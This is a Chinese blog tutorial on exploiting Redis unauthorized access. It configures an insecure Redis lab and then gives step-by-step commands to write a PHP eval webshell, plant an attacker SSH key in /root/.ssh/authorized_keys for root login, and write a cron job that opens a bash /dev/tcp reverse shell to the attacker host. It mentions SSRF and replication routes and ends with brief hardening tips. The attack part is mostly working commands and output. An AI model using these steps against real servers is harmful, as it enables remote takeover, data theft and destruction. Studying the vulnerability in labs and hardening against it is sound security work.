今天我们来学习一下什么是Redis未授权访问漏洞,以及各种利用方法。
文章目录
- 一、什么是Redis未授权访问漏洞
- 二、Redis环境搭建
- 三、漏洞利用
- 四、漏洞总结
- 五、漏洞防护
一、Redis未授权访问漏洞介绍
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作
产生条件
1.redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源IP访问,直接暴露在公网
2.没有设置密码认证,可以远程登录redis服务
漏洞危害
1、攻击者可以不用认证访问到内部数据,可能导致敏感信息泄露,黑客也可以执行攻击代码清空所有数据
2、黑客可以通过eval执行lua代码,或者通过数据备份功能往磁盘写入后门文件
3、如果redis以root身份运行,黑客可以给root用户写入ssh公钥文件,直接通过ssh远程登录服务器。
redis常用命令
config set dir /home.test 设置工作目录
config set dbfilename redis.rdb 设置备份文件名
config get dir 检查工作目录是否设置成功
coonfig get dbfilename 检查备份文件名是否设置成功
save 进行备份操作
漏洞复现
攻击机kali:192.168.1.128
redis 服务器:120..........
redis服务器:192.168.1.151
redis环境安装
安装编译依赖包
yum -y install gcc* tcl tcl-devel
yum -y install make
下载redis 软件包
wget http://download.redis.io/releases/redis-6.2.4.tar.gz
编译安装redis
tar xzf redis-6.2.4.tar.gz
cd redis-6.2.4/src
make
make install PREFIX=/usr/local/redis
常用命令
安装完成后,在/usr/local/bin下面可以看到redis提供的5个命令工具,现简单介绍如下
redis-server:Redis服务器的daemon启动程序
redis-cli:Redis命令行操作工具。也可以用telnet根据其纯文本协议来操作
redis-benchmark:Redis性能测试工具,测试Redis在当前系统下的读写性能
redis-check-aof:数据修复
redis-check-dump:检查导出工具
修改配置文件
在源码包的根目录下面有一个默认的redis.conf文件,将其拷贝到系统的/etc目录下面
cp redis.conf /etc
vim /etc/redis.conf
#bind 127.0.0.1
protected-mode no
daemonize no
打开配置文件把下面对应的注释掉(或者可以针对自己的ip进行bind)
# bind 127.0.0.1
Redis默认不是以守护进程的方式运行,可以通过该配置项修改,使用yes启用守护进程,设置为no
daemonize no
关闭保护模式
protected-mode no
重新启动配置文件才会生效:
redis-server redis.conf(在redis.conf文件目录下执行)
关闭防火墙
systemctl stop ebtables firewalld
启动redis服务
/usr/local/redis/bin/redis-server /etc/redis.conf
将此启动脚本加入到/etc/rc.local,让其开机自启动
echo "/usr/local/bin/redis-server /etc/redis.conf " >> /etc/rc.local
关闭服务命令
redis-cli shutdown
1.写入webshell攻击
前提:root权限开启网站服务,知道绝对路径
1.1查看phpinfo();查看绝对路径
1.2访问目标redis服务,写入后门
redis-cli -h 120.*.*.* -p6379
CONFIG SET dir 绝对路径
CONFIG SET dbfilename test.php
SEt x "<?php @eval($_POST[cmd]);?>"
save
1.3访问写入的后门,可以看到访问成功
2.利用ssh写入公钥
前提,root权限运行redis,开放了ssh,允许公钥连接
原理:就是在redis数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key
2.1在kali中生成公钥和私钥
ssh-keygen -t rsa
┌──(root?kali)-[~]
└─# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:UgzhkW5gHV1pcx/k4SbgkgEHNr452PITGkjjsqWje9M root@kali
The key's randomart image is:
+---[RSA 3072]----+
| .XBo.o. .o |
| o+o*.++..o.. |
| o. oo =..o..+. |
| o o oo+ . o. |
|. + +.B S |
| = = + |
|+ .. o |
|..o E . |
|oo . |
+----[SHA256]-----+
2.2打开id_rsa.pub文件,将里面内容复制出来。
2.3连接主机
redis-cli -h 92.168.1.151 -p 6379
2.4设置Redis的备份路径为/root/.ssh/和保存文件名为authorized_keys,并将kali生成的ssh公钥数据保存在目标服务器硬盘上路径为/root/.ssh/里面,因此我们可以通过kali的ssh私钥连接目标主机
config set dir /root/.ssh/
config set dbfilename authorized_keys
# set x "\n\n\n公钥\n\n\n",将公钥写入x键。前后用\n换行,避免和Redis里其他缓存数据混合
save
quit
2.5最后ssh连接目标主机,成功获取root权限
ssh -i id_rsa root@ip
注意:如果执行完config set dir /root/.ssh/出现NO such file错误,原因有可能不是linux服务器未使用密钥登录,而可能是目标为Windows服务器,肯定就没有 /root/.ssh
目录了,可以使用 config get dir或者info手机目标信息,确认操作系统。
3、利用crontab反弹shell
原理在redis数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。
3.1、在kali攻击机192.168.1.128监听任意端口
┌──(root㉿kali)-[/home/kali/桌面]
└─# nc -lvnp 5678
listening on [any] 5678 ...
3.2、连接目标redis服务,写反弹shell
┌──(root㉿kali)-[/home/kali]
└─# redis-cli -h 192.168.1.151 -p 6379
192.168.1.151:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.128/5678 0>&1\n\n"
OK
192.168.1.151:6379> CONFIG SET dir /var/spool/cron/crontabs
OK
192.168.1.151:6379> config set dbfilename root
OK
192.168.1.151:6379> save
OK
192.168.1.151:6379>
这时我们查看目标的计划任务
发现写入了计划任务,但是由于乱码没有执行成功,这些乱码也就导致反弹shell失败。这是因为redis向任务计划里写内容出现乱码而导致的语法错误,是无法避免的,但是不同linux版本执行任务时可能会忽略乱码,从而执行计划任务,因此成功与否还得看目标系统
4、结合ssrf漏洞利用
因为实际中大多数redis都会配置得当,一般外网是无法对其进行访问的,只有在内网中可以对其进行访问,因此当我们发现某个网站有ssrf漏洞时,就可以利用ssrf漏洞对其或者内网端口进行扫描,当发现存在redis服务,就可以尝试进行利用
5、主从复制利用脚本攻击,因为我这里Redis版本为6以上,因此就没有利用这个方式,其实这个方式也很简单,利用脚本即可。
四、总结
当目标存在Redis未授权访问漏洞时,可以利用以下方式
利用方式 | 利用前提 | 备注 |
写入公钥 |
|
|
写入webshell |
|
|
反弹shell |
|
|
从主复制 | redis 4.x/5.x | 无需root权限启动redis,获取的权限为启动用户的权限 |
五、漏洞防护
*设置本机访问或者指定主机ip访问redis,修改redis.conf中的bind配置
*利用防火墙设置指定ip访问redis文章来源:https://www.toymoban.com/news/detail-461858.html
*最小权限运行redis服务文章来源地址https://www.toymoban.com/news/detail-461858.html
到了这里,关于Redis未授权访问漏洞搭建复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!